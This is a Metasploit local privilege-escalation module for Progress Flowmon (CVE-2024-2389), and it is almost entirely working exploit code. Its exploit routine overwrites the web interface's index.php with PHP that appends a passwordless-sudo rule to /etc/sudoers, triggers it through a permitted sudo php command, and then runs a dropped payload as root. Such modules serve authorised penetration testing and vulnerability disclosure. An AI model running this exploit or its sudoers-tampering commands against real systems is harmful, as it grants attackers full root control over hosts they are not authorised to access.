Progress Flowmon 12.3.5 Local sudo Privilege Escalation

`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Progress Flowmon Local sudo privilege escalation',  
'Description' => %q{  
This module abuses a feature of the sudo command on Progress Flowmon.  
Certain binary files are allowed to automatically elevate  
with the sudo command. This is based off of the file name. This  
includes executing a PHP command with a specific file name. If the  
file is overwritten with PHP code it can be used to elevate privileges  
to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.  
},  
'Author' => [  
'Dave Yesland with Rhino Security Labs',  
],  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],  
['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']  
],  
'DisclosureDate' => '2024-03-19',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'SessionTypes' => ['shell', 'meterpreter'],  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [['Automatic', {}]],  
'Privileged' => true  
)  
)  
register_options([  
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),  
])  
end  
  
def check  
score = 0  
score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon')  
score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface')  
score += 1 if exists?('/var/www/shtml/translate.php')  
vprint_status("Found #{score} indicators this is a Progress Flowmon product")  
return CheckCode::Detected if score > 0  
  
return CheckCode::Safe  
end  
  
def on_new_session(session)  
super  
print_status('Cleaning up addition to /etc/sudoers')  
if session.type.to_s.eql? 'meterpreter'  
session.sys.process.execute '/bin/sh', "-c \"sed -i '/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d' /etc/sudoers\""  
elsif session.type.to_s.eql? 'shell'  
session.shell_command_token 'sed -i \'/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d\' /etc/sudoers'  
end  
end  
  
def cleanup  
super  
unless @index_php_contents.blank?  
print_status('Restoring /var/www/shtml/index.php file contents...')  
file_rm('/var/www/shtml/index.php')  
write_file('/var/www/shtml/index.php', @index_php_contents)  
end  
end  
  
def exploit  
@index_php_contents = ''  
fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])  
exploit_file = "#{datastore['WRITABLE_DIR']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"  
  
vprint_status("Saving payload as #{exploit_file}")  
write_file(exploit_file, generate_payload_exe)  
chmod(exploit_file)  
register_file_for_cleanup(exploit_file)  
@index_php_contents = read_file('/var/www/shtml/index.php')  
print_status('Overwriting /var/www/shtml/index.php with payload')  
cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;')  
print_status('Executing sudo to elevate privileges')  
cmd_exec('sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;')  
cmd_exec("sudo '#{exploit_file}'")  
end  
end  
`